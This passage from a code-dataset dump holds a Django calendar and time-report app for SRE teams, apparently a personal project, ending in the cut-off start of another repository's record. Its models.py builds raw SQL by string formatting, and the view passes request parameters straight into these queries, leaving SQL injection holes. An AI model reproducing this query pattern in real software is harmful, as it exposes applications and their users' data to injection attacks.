"alphanum_fraction": 0.5611972212791443,
"avg_line_length": 28.387434005737305,
"blob_id": "0c2e043abf518165279bca5c25790f879722783e",
"content_id": "1e9bc3be0b312f61a862894cb91e0073f02b94b4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5835,
"license_type": "no_license",
"max_line_length": 208,
"num_lines": 191,
"path": "/hachi/models.py",
"repo_name": "bianXiaoTuan/SRE_Calendar",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom django.db import models\nfrom django.db import connection\nimport datetime\n\n# Create your models here.\nclass ProductManager(models.Manager):\n \"\"\"ProductManager\n \"\"\"\n\n def get_all_products_id(self):\n \"\"\"返回所有Product的ID\n\n Returns:\n all_products_id: 列表\n \"\"\"\n all_products = Product.objects.all()\n\n all_products_id = []\n for product in all_products:\n all_products_id.append(product.id)\n\n return all_products_id \n\n def get_all_products_name(self):\n \"\"\"返回所有Product的Name\n \"\"\"\n all_products = Product.objects.all()\n\n all_products_name = []\n for product in all_products:\n all_products_name.append(product.name.encode('utf8'))\n\n return all_products_name \n\n\nclass Product(models.Model):\n \"\"\"Product产品线\n \"\"\"\n name = models.CharField(max_length=255)\n objects = ProductManager()\n\n def __unicode__(self):\n return self.name\n\nclass OperationManager(models.Manager):\n \"\"\"Operartion的Manager\n \"\"\"\n def get_all_operations_name(self):\n \"\"\"返回所有Operation的Name\n\n Returns: \n all_operations_name: 列表\n \"\"\"\n all_operations = super(OperationManager, self).all()\n\n all_operations_name = []\n for operation in all_operations:\n all_operations_name.append(operation.name.encode('utf8'))\n\n return all_operations_name\n\n def get_all_operations_id(self):\n \"\"\"返回所有Operation的ID\n\n Returns: \n all_operations_id: 列表\n \"\"\"\n all_operations = super(OperationManager, self).all()\n\n all_operations_id = []\n for operation in all_operations:\n all_operations_id.append(operation.id)\n\n return all_operations_id\n\nclass Operation(models.Model):\n \"\"\"操作类型\n \"\"\"\n name = models.CharField(max_length=255)\n objects = OperationManager()\n\n def __unicode__(self):\n return self.name\n\nclass CalendarEventManager(models.Manager):\n \"\"\"CalendarEvent的Manager\n \"\"\"\n\n def get_events_by_time(self, start_time, end_time):\n \"\"\"返回start_time和end_time之间的全部events\n\n Args:\n start_time: string 例子: 2015-07-18\n end_time: string 例子: 2015-07-19\n\n Returns:\n calendar_events: 列表\n 例子:\n [\n {\n 'id':1, \n 'title':'扩容', \n 'start':'2015-07-18 00:00:00', \n 'end':'2015-07-18 01:00:00'\n },\n ...\n ]\n \"\"\"\n start_time = \"%s 00:00:00\" % (start_time)\n end_time = \"%s 00:00:00\" % (end_time)\n\n cursor = connection.cursor()\n sql = 'SELECT id,name,start_time,end_time,description FROM hachi_calendarevent WHERE start_time >= \"%s\" AND end_time <= \"%s\"; ' % (start_time, end_time)\n\n cursor.execute(sql)\n calendar_events = []\n for row in cursor.fetchall():\n start_time = row[2].strftime(\"%Y-%m-%d %H:%M:%S\")\n end_time = row[3].strftime(\"%Y-%m-%d %H:%M:%S\")\n calendar_event = {\n 'id' : row[0],\n 'title' : row[1],\n 'start' : start_time,\n 'end' : end_time,\n }\n calendar_events.append(calendar_event)\n \n return calendar_events \n\n def get_product_operation_total_time(self, product_id, operation_id, start_time, end_time):\n \"\"\"返回product在start_time和end_time时间段内,operation类型操作占用总时间\n\n Args: \n product_id: int类型\n operation_id: int类型\n start_time: string类型, 例子: \"2015-07-19 00:00:00\"\n end_time: string类型, 例子: \"2015-07-19 02:00:00\"\n\n Returns:\n float类型: 2.5小时\n \"\"\"\n cursor = connection.cursor()\n sql = 'SELECT start_time,end_time FROM hachi_calendarevent WHERE product_id = %d AND operation_id = %d AND start_time >= \"%s\" AND end_time <= \"%s\"; ' % (product_id, operation_id, start_time, end_time)\n\n cursor.execute(sql)\n total_time = datetime.timedelta(0)\n for row in cursor.fetchall():\n start_time = row[0]\n end_time = row[1]\n total_time += end_time - start_time\n\n return total_time.total_seconds()/3600\n\n def get_operation_total_time(self, operation_id, start_time, end_time):\n \"\"\"返回operation在start_time和end_time之间的总书剑\n\n Args: \n operation_id: int类型\n start_time: string类型, 例子: \"2015-07-19 00:00:00\"\n end_time: string类型, 例子: \"2015-07-19 02:00:00\"\n\n Returns:\n float类型: 2.5小时\n \"\"\"\n cursor = connection.cursor()\n sql = 'SELECT start_time,end_time FROM hachi_calendarevent WHERE operation_id = %d AND start_time >= \"%s\" AND end_time <= \"%s\"; ' % (operation_id, start_time, end_time)\n\n cursor.execute(sql)\n total_time = datetime.timedelta(0)\n for row in cursor.fetchall():\n start_time = row[0]\n end_time = row[1]\n total_time += end_time - start_time\n\n return total_time.total_seconds()/3600\n \nclass CalendarEvent(models.Model):\n \"\"\"CalendarEvent\n \"\"\"\n name = models.CharField(max_length=255)\n product = models.ForeignKey(Product)\n operation = models.ForeignKey(Operation)\n description = models.TextField(max_length=255)\n username = models.CharField(max_length=255)\n start_time = models.DateTimeField()\n end_time = models.DateTimeField()\n objects = CalendarEventManager()\n\n def __unicode__(self):\n return self.name\n"
},
{
"alpha_fraction": 0.5333333611488342,
"alphanum_fraction": 0.5352941155433655,
"avg_line_length": 14.9375,
"blob_id": "821402eeccea9012ee8f3a37cd28230f398c4b91",
"content_id": "1b46053b5267659e849728373658331967b34fe2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 610,
"license_type": "no_license",
"max_line_length": 45,
"num_lines": 32,
"path": "/hachi/common.py",
"repo_name": "bianXiaoTuan/SRE_Calendar",
"src_encoding": "UTF-8",
"text": "#-*- coding: utf-8 -*-\nimport pprint\nimport datetime\nimport json\n\ndef p(obj):\n \"\"\" 打印对象\n\n Args:\n obj: 任何类型的对象\n\n Returns:\n 字符串\n \"\"\"\n return pprint.pformat(obj)\n\ndef returnJson(success, message='', data={}):\n \"\"\"HTTP标准返回格式\n\n Args:\n success: bool类型, 操作是否成功\n message: str类型, 错误信息\n data: dict类型, 返回数据\n\n Returns: \n JSON格式的字符串, 用于HTTP接口\n \"\"\"\n return json.dumps({\n 'success' : success,\n 'message' : message,\n 'data' : data,\n })\n"
},
{
"alpha_fraction": 0.4395826458930969,
"alphanum_fraction": 0.47542914748191833,
"avg_line_length": 26.256879806518555,
"blob_id": "d0a2d0e8549a056decc4d3ec53f6be5c9c9b9e65",
"content_id": "ca0027d9f44ad051a0f1c1b7e4d0a4de0cbb1ff2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6356,
"license_type": "no_license",
"max_line_length": 137,
"num_lines": 218,
"path": "/hachi/time_bill.py",
"repo_name": "bianXiaoTuan/SRE_Calendar",
"src_encoding": "UTF-8",
"text": "#-*- coding: utf-8 -*-\n\"\"\"\n该模块用于生成highchart统计所需要的各种数据\n\nAuthors: chenhuan([email protected])\nDate: 2015/07/18 22:15:00\n\"\"\"\nimport datetime\nfrom hachi.models import *\n\nclass TimeBill:\n \"\"\"Time Bill用于生成Highchart所需的数据\n\n Attributes:\n begin_date: 展示的第一天\n count: 展示的总周数\n \"\"\"\n\n def __init__(self, begin_date, count):\n \"\"\"初始化函数\n\n Args:\n begin_date: 开始展示的第一天\n count: 展示的周数\n weeklist: 展示每周的时间段\n \"\"\"\n self.begin_date = begin_date\n self.count = count\n self.weeklist = self.__create_week_list()\n\n def __create_week_list(self):\n \"\"\" 生成从begin_date开始连续周的列表\n\n Args:\n begin_date: String类型, 例如: '2015-07-20'\n count: 生成周的个数\n\n Returns: \n List类型, 从大于等于begin_date的第一个周一开始\n 例如:\n\n [\n {'begin':'2015-07-20','end':'2015-07-26'},\n {'begin':'2015-07-27','end':'2015-08-02'},\n ...\n ]\n \"\"\"\n # 获取比begin_date大的第一个周一\n begin_date = datetime.datetime.strptime(self.begin_date, \"%Y-%m-%d\")\n weekday = begin_date.weekday()\n if weekday != 0:\n begin_date = begin_date + datetime.timedelta(days=(7 - weekday))\n\n weeklist = []\n # str to datetime.datetime\n count = self.count\n while count != 0:\n end_date = begin_date + datetime.timedelta(days=6)\n weeklist.append({\n # datetime.datetime to str\n 'start' : datetime.datetime.strftime(begin_date, '%Y-%m-%d %H:%M:%S'),\n 'end' : datetime.datetime.strftime(end_date, '%Y-%m-%d %H:%M:%S'),\n })\n begin_date = end_date + datetime.timedelta(days=1)\n count -= 1\n return weeklist\n \n def get_weeklist(self):\n \"\"\"返回供highchart展示的weeklist\n\n Returns: \n weeklist: 列表\n\n 例子:['6月22-6月26', '6月29-7月03', '7月06-7月10', '7月13-7月17', '7月20-7月24', '7月27-7月31']\n \"\"\"\n new_weeklist = []\n for time_zone in self.weeklist:\n # 将2015-07-19 00:00:00转成7月19\n start_time = self.__translate_date(time_zone['start'].split(' ')[0])\n end_time = self.__translate_date(time_zone['end'].split(' ')[0])\n new_weeklist.append(\"%s~%s\" % (start_time, end_time))\n return new_weeklist \n\n def __translate_date(self, date):\n \"\"\"将2015-07-19转成7月19\n\n Args:\n date: String类型, 例子: '2015-07-19'\n\n Returns:\n 字符串 例子: '7月19'\n \"\"\"\n # month = date.split('-')[1].strip('0')\n month = date.split('-')[1]\n day = date.split('-')[2]\n\n return \"%s%s\" % (month, day)\n\n \n def get_product_time_bill(self, product_id):\n \"\"\"获取product的timeBill\n\n Args:\n product_id: int类似 Product ID\n\n Returns: \n product_time_bill: 数据\n\n 例子:\n [\n {'扩容' : [1, 2, 3, 4, 5...]},\n {'搭建' : [1, 2, 3, 4, 5...]},\n {'学习' : [1, 2, 3, 4, 5...]},\n ...\n ] \n \"\"\"\n all_operations_id = Operation.objects.get_all_operations_id()\n product_time_bill = {}\n for operation_id in all_operations_id:\n total_times = []\n for week in self.weeklist:\n total_time = CalendarEvent.objects.get_product_operation_total_time(product_id, operation_id, week['start'], week['end'])\n total_times.append(total_time) \n product_time_bill[Operation.objects.get(id=operation_id).name] = total_times\n\n return product_time_bill \n\n def get_operation_time_bill(self, operation_id):\n \"\"\"返回weeklist段内各操作的用时\n\n Args:\n operation_id: int类似 Operation ID\n\n Returns: \n operation_time_bill: 数据\n\n 例子:\n {'扩容' : [1, 2, 3, 4, 5...]},\n \"\"\"\n time_bill = []\n for week in self.weeklist:\n total_time = CalendarEvent.objects.get_operation_total_time(operation_id, week['start'], week['end'])\n time_bill.append(total_time)\n\n return time_bill\n\n @staticmethod\n def get_average_time_bill(product_time_bill):\n \"\"\"返回product_time_bill的平均time_bill\n\n Args:\n product_time_bill\n\n 例子:\n {\n 'DStream' : [1, 2, 3, 4, 5, 6],\n 'Bigpipe' : [1, 2, 3, 4, 5, 6],\n 'TM' : [1, 2, 3, 4, 5, 6],\n ......\n\n }\n\n Returns: \n average_time_bill\n\n 例子:\n [1, 2, 3, 4, 5, 6]\n \"\"\"\n length = 0\n for operation,time_bill in product_time_bill.items():\n length = len(time_bill) \n break\n\n average_time_bill = []\n for n in range(length):\n total_time = 0\n for operation,time_bill in product_time_bill.items():\n total_time += time_bill[n]\n average_time_bill.append(int(total_time))\n\n return average_time_bill\n\n @staticmethod\n def get_operation_total_time_list(product_time_bill):\n \"\"\"返回product_time_bill每种operation总时间\n\n Args:\n product_time_bill\n\n 例子:\n {\n 'DStream' : [1, 2, 3, 4, 5, 6],\n 'Bigpipe' : [1, 2, 3, 4, 5, 6],\n 'TM' : [1, 2, 3, 4, 5, 6],\n ......\n\n }\n\n Returns: \n average_time_bill\n\n 例子:\n {\n 'DStream' : 21,\n 'Bigpipe' : 21,\n 'TM' : 21,\n ......\n\n }\n \"\"\"\n operation_total_time_list = {} \n for operation,time_bill in product_time_bill.items():\n total_time = 0\n for time in time_bill:\n total_time += time\n operation_total_time_list[operation] = total_time\n\n return operation_total_time_list\n"
},
{
"alpha_fraction": 0.6873508095741272,
"alphanum_fraction": 0.6937152147293091,
"avg_line_length": 40.900001525878906,
"blob_id": "b9212976b0af2283b8cb20c8bd0eb8a849d3062e",
"content_id": "92d9b8844eb7515a7d1cba0833aeeeacdd5d2af8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1257,
"license_type": "no_license",
"max_line_length": 97,
"num_lines": 30,
"path": "/hachiCalendar/urls.py",
"repo_name": "bianXiaoTuan/SRE_Calendar",
"src_encoding": "UTF-8",
"text": "\"\"\"hachiCalendar URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.8/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Add an import: from blog import urls as blog_urls\n 2. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls))\n\"\"\"\nfrom django.conf.urls import include, url\nfrom django.contrib import admin\nimport hachi.views\n\nurlpatterns = [\n url(r'^$', hachi.views.index, name='index'),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^calendar/', hachi.views.full_calendar, name='fullCalendar'),\n url(r'^timeBill/', hachi.views.time_bill, name='timeBill'),\n\n url(r'^test/', hachi.views.test, name='test'),\n url(r'^createEvent/', hachi.views.create_event, name='createEvent'),\n url(r'^getEvents/', hachi.views.get_events, name='getEvents'),\n url(r'^getEventDescription/', hachi.views.get_event_description, name='getEventDescription'),\n]\n"
},
{
"alpha_fraction": 0.694888174533844,
"alphanum_fraction": 0.7268370389938354,
"avg_line_length": 18,
"blob_id": "48315cb99fcbb49bb632491c1308cd9a750499db",
"content_id": "b31a0105a354552d235aabc1a0ed8ce56ac5bef0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 978,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 33,
"path": "/README.md",
"repo_name": "bianXiaoTuan/SRE_Calendar",
"src_encoding": "UTF-8",
"text": "# SRE_Calendar\n运维工程师的日程表\n\n## 介绍\nOP在日常工作中接收大量请求,需要定期review工作,找出时间花在哪里,然后利用技术手段提升效率. 这款工具实现“日程表+报表”的功能,可以制定计划,记录日常工作,最后会以报表形式来展示.\n本项目依赖:Django + fullcalendar + EChart\n\n## 使用\n* 安装Python + Django\n* 获取项目包\n```bash\n$git clone https://github.com/bianXiaoTuan/SRE_Calendar.git\n```\n* 启动项目\n```\n$python managy.py runserver 0.0.0.0:8000\n```\n\n### 管理员页面\nhttp://{webserver}:8000/admin\n* Products: SRE负责领域分类, 比如多个不同产品线;\n* Operations: 产品线内工作分类, 比如扩容, 报警处理等;\n* Calendar events: 具体事情.\n\n### Calender页面\nhttp://{webserver}:8000/calender\n使用方式参考: http://fullcalendar.io/\n\n### 报表页面\nhttp://{webserver}:8000/timeBillByEChart\n\n### TO DO LIST\n* 增加选择展示时间段功能"
},
{
"alpha_fraction": 0.579827070236206,
"alphanum_fraction": 0.6026512980461121,
"avg_line_length": 37.901344299316406,
"blob_id": "2a65e829b7ce287889987b1a4b912f0b22a54623",
"content_id": "51df93c0638237c0a3f787521fe78244f180a7be",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8939,
"license_type": "no_license",
"max_line_length": 106,
"num_lines": 223,
"path": "/hachi/views.py",
"repo_name": "bianXiaoTuan/SRE_Calendar",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, render_to_response\nfrom django.utils import timezone\nfrom hachi.common import *\nfrom hachi.models import *\nfrom hachi.forms import CalendarEventForm\nimport json, datetime\nfrom time_bill import TimeBill\n\ndef index(request):\n \"\"\"默认主页\n \"\"\"\n return render_to_response('base.html')\n\n# Create your views here.\ndef full_calendar(request):\n \"\"\"显示日程表\n \"\"\"\n calendar_event_form = CalendarEventForm()\n return render_to_response('full_calendar.html',\n {'calendar_event_form':calendar_event_form},\n )\n\ndef create_event(request):\n \"\"\"读取HTTP请求, 创建Event\n\n Returns:\n 返回Json格式{\n 'success' : true,\n 'message' : '错误信息',\n 'data' : {数据信息}\n }\n \"\"\"\n if request.method == 'GET':\n try:\n calendar_event_form = CalendarEventForm(request.GET)\n if calendar_event_form.is_valid():\n calendar_event = calendar_event_form.save(commit=False)\n calendar_event.start_time = str(calendar_event.start_time).split('+')[0]\n calendar_event.end_time = str(calendar_event.end_time).split('+')[0]\n calendar_event.save()\n return HttpResponse(returnJson(True))\n else:\n raise Exception(calendar_event_form.errors)\n except Exception as e: \n return HttpResponse(returnJson(False, \"%s in create_event\" % (e)))\n else:\n return HttpResponse(returnJson(False, \"Request's method is not GET in create_event\"))\n\n\ndef get_events(request):\n \"\"\"获取start和end时间段内的全部Events\n\n Returns:\n 返回Json格式的Events\n\n 例子:\n [\n {\n 'id' : 1,\n 'title' : '搭建集群',\n 'start' : '2015-07-19 10:12:00',\n 'end' : '2015-07-19 10:30:00',\n },\n ....\n ]\n \"\"\"\n if request.method == 'GET':\n start_time = request.GET['start']\n end_time = request.GET['end']\n try :\n calendar_events = CalendarEvent.objects.get_events_by_time(start_time, end_time)\n return HttpResponse(json.dumps(calendar_events))\n except Exception as e: \n return HttpResponse(returnJson(False, \"%s in get_events\" % (e)))\n\ndef get_event_description(request):\n \"\"\"返回event的description\n\n Returns:\n 返回Json格式的description\n\n 例子:\n {\n 'success' : True,\n 'message' : '',\n 'data' : {\n 'description' : '请使用如下机器:XXXX',\n }\n }\n \"\"\"\n if request.method == 'GET':\n try:\n id = int(request.GET['id'])\n calendar_event = CalendarEvent.objects.get(id=id)\n return HttpResponse(returnJson(True, '', {\n 'eventDescription' : calendar_event.description,\n }))\n except Exception as e :\n return HttpResponse(returnJson(False, \"%s in get_event_description\" % (e)))\n else : \n return HttpResponse(returnJson(False, \"Request's method is not GET in get_event_description\"))\n\ndef time_bill(request):\n \"\"\"展示Product的时间统计表\n \"\"\"\n try:\n # 展示近一个月情况\n today_date = datetime.datetime.now()\n begin_date = today_date - datetime.timedelta(42)\n begin_date_s = \"{year}-{month}-{day}\".format(\n year=begin_date.year,\n month=begin_date.month,\n day=begin_date.day,\n )\n\n time_bill = TimeBill(begin_date_s, 7)\n weeklist = time_bill.get_weeklist()\n\n # 获取各产品线的time_bill\n all_products_time_bill = {}\n all_products_id = Product.objects.get_all_products_id()\n for product_id in all_products_id:\n product_name = Product.objects.get(id=product_id).name\n product_time_bill = time_bill.get_product_time_bill(product_id)\n product_average_time_bill = TimeBill.get_average_time_bill(product_time_bill)\n operation_total_time_list = TimeBill.get_operation_total_time_list(product_time_bill)\n\n all_products_time_bill[product_name] = {\n 'product_time_bill' : product_time_bill,\n 'product_average_time_bill' : product_average_time_bill,\n 'operation_total_time_list' : operation_total_time_list,\n }\n\n # 获取各Operation总time_bill, 用于展示各类操作占用时间\n all_operation_time_bill = {}\n all_operations_id = Operation.objects.get_all_operations_id()\n for operation_id in all_operations_id:\n operation_time_bill = time_bill.get_operation_time_bill(operation_id)\n all_operation_time_bill[Operation.objects.get(id=operation_id).name] = operation_time_bill\n\n operation_average_time_bill = TimeBill.get_average_time_bill(all_operation_time_bill)\n operation_total_time_list = TimeBill.get_operation_total_time_list(all_operation_time_bill)\n\n all_products_time_bill['各类操作'] = {\n 'product_time_bill' : all_operation_time_bill,\n 'product_average_time_bill' : operation_average_time_bill,\n 'operation_total_time_list' : operation_total_time_list,\n }\n\n all_operations_name = json.dumps(Operation.objects.get_all_operations_name(), ensure_ascii=False)\n all_products_name = Product.objects.get_all_products_name()\n all_products_name.insert(0, '各类操作')\n\n return render_to_response('time_bill.html', {\n 'weeklist' : weeklist, \n 'all_operations_name' : all_operations_name,\n 'all_products_name' : all_products_name,\n 'all_products_time_bill' : all_products_time_bill, \n })\n except Exception as e: \n return HttpResponse(returnJson(False, \"%s in time_bill\" % (e)))\n\ndef test(request):\n \"\"\"各种测试函数\n \"\"\"\n \"\"\"\n for product_id in range(2, 6):\n calendar_event = CalendarEvent()\n calendar_event.name = '测试1'\n calendar_event.product_id = product_id\n calendar_event.operation_id = 6\n calendar_event.username = 'chenhuan'\n calendar_event.start_time = datetime.datetime.strptime(\"2015-05-26 01:00:00\", '%Y-%m-%d %H:%M:%S')\n calendar_event.end_time = datetime.datetime.strptime('2015-05-26 02:30:00', '%Y-%m-%d %H:%M:%S')\n calendar_event.save()\n\n calendar_event = CalendarEvent()\n calendar_event.name = '测试2'\n calendar_event.product_id = product_id\n calendar_event.operation_id = 2\n calendar_event.username = 'chenhuan'\n calendar_event.start_time = datetime.datetime.strptime(\"2015-06-01 01:00:00\", '%Y-%m-%d %H:%M:%S')\n calendar_event.end_time = datetime.datetime.strptime('2015-06-01 02:00:00', '%Y-%m-%d %H:%M:%S')\n calendar_event.save()\n\n calendar_event = CalendarEvent()\n calendar_event.name = '测试2'\n calendar_event.product_id = product_id\n calendar_event.operation_id = 1\n calendar_event.username = 'chenhuan'\n calendar_event.start_time = datetime.datetime.strptime(\"2015-06-06 01:00:00\", '%Y-%m-%d %H:%M:%S')\n calendar_event.end_time = datetime.datetime.strptime('2015-06-06 02:00:00', '%Y-%m-%d %H:%M:%S')\n calendar_event.save()\n\n calendar_event = CalendarEvent()\n calendar_event.name = '测试3'\n calendar_event.product_id = product_id\n calendar_event.operation_id = 3\n calendar_event.username = 'chenhuan'\n calendar_event.start_time = datetime.datetime.strptime(\"2015-06-11 01:00:00\", '%Y-%m-%d %H:%M:%S')\n calendar_event.end_time = datetime.datetime.strptime('2015-06-11 02:00:00', '%Y-%m-%d %H:%M:%S')\n calendar_event.save()\n\n calendar_event = CalendarEvent()\n calendar_event.name = '测试4'\n calendar_event.product_id = product_id\n calendar_event.operation_id = 4\n calendar_event.username = 'chenhuan'\n calendar_event.start_time = datetime.datetime.strptime(\"2015-06-16 04:00:00\", '%Y-%m-%d %H:%M:%S')\n calendar_event.end_time = datetime.datetime.strptime('2015-06-16 06:00:00', '%Y-%m-%d %H:%M:%S')\n calendar_event.save()\n time_bill = TimeBill('2015-05-20', 5)\n product_time_bill = time_bill.get_product_time_bill(1)\n average_time_bill = TimeBill.get_average_time_bill(product_time_bill)\n operation_total_time_list = TimeBill.get_operation_total_time_list(product_time_bill)\n # return HttpResponse(json.dumps(time_bill.get_weeklist()))\n # return HttpResponse(json.dumps(average_time_bill))\n return HttpResponse(json.dumps(operation_total_time_list))\n \"\"\"\n # return HttpResponse(json.dumps(['陈欢', '姜虹']))\n"
},
{
"alpha_fraction": 0.816216230392456,
"alphanum_fraction": 0.816216230392456,
"avg_line_length": 25.428571701049805,
"blob_id": "76418cb5c3388c80ca6713aaaec0d1c00ffe384d",
"content_id": "811201d262564c473fb2dac172f84a440c6e3aa4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 185,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 7,
"path": "/hachi/admin.py",
"repo_name": "bianXiaoTuan/SRE_Calendar",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\nfrom hachi.models import *\n\n# Register your models here.\nadmin.site.register(Product)\nadmin.site.register(Operation)\nadmin.site.register(CalendarEvent)\n"
},
{
"alpha_fraction": 0.5183534622192383,
"alphanum_fraction": 0.5843411684036255,
"avg_line_length": 37.6065559387207,
"blob_id": "8767fef1f32c890ebd0765b199acce36c72a7495",
"content_id": "d00e0b884160cb406dbb8060a45155bfbf25caa8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4837,
"license_type": "no_license",
"max_line_length": 106,
"num_lines": 122,
"path": "/hachi/tests.py",
"repo_name": "bianXiaoTuan/SRE_Calendar",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom django.test import TestCase\nfrom hachi.models import *\nfrom hachi.time_bill import *\nimport datetime\n\nclass CalendarTestCase(TestCase):\n \"\"\"TimeBill的测试\n \"\"\"\n def setUp(self):\n \"\"\"拿一个遥远的日子来测试 2015-06-00\n \"\"\"\n # 插入Product\n for n in range(1, 6):\n product = Product(id=n, name=\"product_%d\" % n)\n product.save()\n\n # 插入Operation\n for n in range(1, 6):\n operation = Operation(id=n, name=\"operation_%d\" % n)\n operation.save()\n\n # 插入Event\n calendar_event = CalendarEvent()\n calendar_event.name = '测试1'\n calendar_event.product_id = 1\n calendar_event.operation_id = 1\n calendar_event.username = 'chenhuan'\n calendar_event.start_time = datetime.datetime.strptime(\"2015-05-26 01:00:00\", '%Y-%m-%d %H:%M:%S')\n calendar_event.end_time = datetime.datetime.strptime('2015-05-26 02:30:00', '%Y-%m-%d %H:%M:%S')\n calendar_event.save()\n\n calendar_event = CalendarEvent()\n calendar_event.name = '测试2'\n calendar_event.product_id = 1\n calendar_event.operation_id = 2\n calendar_event.username = 'chenhuan'\n calendar_event.start_time = datetime.datetime.strptime(\"2015-06-01 01:00:00\", '%Y-%m-%d %H:%M:%S')\n calendar_event.end_time = datetime.datetime.strptime('2015-06-01 02:00:00', '%Y-%m-%d %H:%M:%S')\n calendar_event.save()\n\n calendar_event = CalendarEvent()\n calendar_event.name = '测试2'\n calendar_event.product_id = 1\n calendar_event.operation_id = 2\n calendar_event.username = 'chenhuan'\n calendar_event.start_time = datetime.datetime.strptime(\"2015-06-06 01:00:00\", '%Y-%m-%d %H:%M:%S')\n calendar_event.end_time = datetime.datetime.strptime('2015-06-06 02:00:00', '%Y-%m-%d %H:%M:%S')\n calendar_event.save()\n\n calendar_event = CalendarEvent()\n calendar_event.name = '测试3'\n calendar_event.product_id = 1\n calendar_event.operation_id = 4\n calendar_event.username = 'chenhuan'\n calendar_event.start_time = datetime.datetime.strptime(\"2015-06-11 01:00:00\", '%Y-%m-%d %H:%M:%S')\n calendar_event.end_time = datetime.datetime.strptime('2015-06-11 02:00:00', '%Y-%m-%d %H:%M:%S')\n calendar_event.save()\n\n calendar_event = CalendarEvent()\n calendar_event.name = '测试4'\n calendar_event.product_id = 1\n calendar_event.operation_id = 5\n calendar_event.username = 'chenhuan'\n calendar_event.start_time = datetime.datetime.strptime(\"2015-06-16 01:00:00\", '%Y-%m-%d %H:%M:%S')\n calendar_event.end_time = datetime.datetime.strptime('2015-06-16 02:00:00', '%Y-%m-%d %H:%M:%S')\n calendar_event.save()\n\n def test_insert_product(self):\n \"\"\"测试插入product是否成功\n \"\"\"\n product = Product.objects.all()\n count = len(product)\n self.assertEqual(count, 5)\n\n def test_insert_operation(self):\n \"\"\"测试插入Operation是否成功\n \"\"\"\n operation = Operation.objects.all()\n count = len(operation)\n self.assertEqual(count, 5)\n\n def test_insert_calendarevnet(self):\n \"\"\"测试插入CalendarEvent是否成功\n \"\"\"\n calendar_events = CalendarEvent.objects.all()\n count = len(calendar_events)\n self.assertEqual(count, 5)\n\n def test_get_product_operation_total_time(self):\n \"\"\"测试CalendarEvetnManager.get_product_operation_total_time()\n \"\"\"\n total_time = CalendarEvent.objects.get_product_operation_total_time(1, \n 1, \"2015-05-20 00:00:00\", \"2015-06-15 00:00:00\")\n self.assertEqual(total_time, 1.5)\n\n total_time = CalendarEvent.objects.get_product_operation_total_time(1, \n 2, \"2015-05-20 00:00:00\", \"2015-06-01 00:00:00\")\n self.assertEqual(total_time, 0)\n\n total_time = CalendarEvent.objects.get_product_operation_total_time(2, \n 2, \"2015-05-20 00:00:00\", \"2015-06-15 00:00:00\")\n self.assertEqual(total_time, 0)\n\n def test_get_all_operations_id(self): \n \"\"\"测试OperationManager.test_get_all_operations_id()\n \"\"\"\n all_operations_id = Operation.objects.get_all_operations_id()\n self.assertEqual(all_operations_id, [1, 2, 3, 4, 5])\n\n def test_get_product_time_bill(self):\n \"\"\"测试TimeBill.get_product_time_bill(product)函数\n \"\"\"\n result = {\n '1': [1.5, 0, 0, 0, 0],\n '2': [0, 1, 1, 0, 0],\n '3': [0, 0, 0, 0, 0],\n '4': [0, 0, 0, 1, 0],\n '5': [0, 0, 0, 0, 1],\n }\n time_bill = TimeBill('2015-05-20', 5)\n self.assertEqual(time_bill.get_product_time_bill(1), result)\n\n\n\n"
},
{
"alpha_fraction": 0.7119565010070801,
"alphanum_fraction": 0.7119565010070801,
"avg_line_length": 25.285715103149414,
"blob_id": "c0374fed38f9cba618e8764d969677a40566e126",
"content_id": "497245873094e7f3918b0d9348f08a1d42645969",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 184,
"license_type": "no_license",
"max_line_length": 38,
"num_lines": 7,
"path": "/hachi/forms.py",
"repo_name": "bianXiaoTuan/SRE_Calendar",
"src_encoding": "UTF-8",
"text": "from django.forms import ModelForm\nfrom hachi.models import CalendarEvent\n\nclass CalendarEventForm(ModelForm):\n class Meta:\n model = CalendarEvent\n fields = \"__all__\"\n"
}
] | 9 |
ushadeepp/Web3pyBlockExplorer | https://github.com/ushadeepp/Web3pyBlockExplorer | e5e3cd29b2f2086ff0eb53beda617c3a13132c2a | 15e904e027978d01d7fe2b070455a8a446322efd | d9111b2d2f9335928c618f9b8825012d464b82a5 | refs/heads/master | 2020-07-30T08:35:18.054550 | 2019-09-29T07:46:47 | 2019-09-29T07:46:47 | 210,157,137 | 1 | 1 | null | null | null | null | null | [
{
"alpha_fraction": 0.5348837375640869,
"alphanum_fraction": 0.6627907156944275,
"avg_line_length": 26,
"blob_id": "cf99b8777c145983fe5b941352305a0ba16c1321",
"content_id": "3afb4898d47b85cc9a3518b1f6d3cab444a0d24f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 86,
"license_type": "no_license",
"max_line_length": 41,
"num_lines": 3,
"path": "/Config/Config.py",
"repo_name": "ushadeepp/Web3pyBlockExplorer",
"src_encoding": "UTF-8",
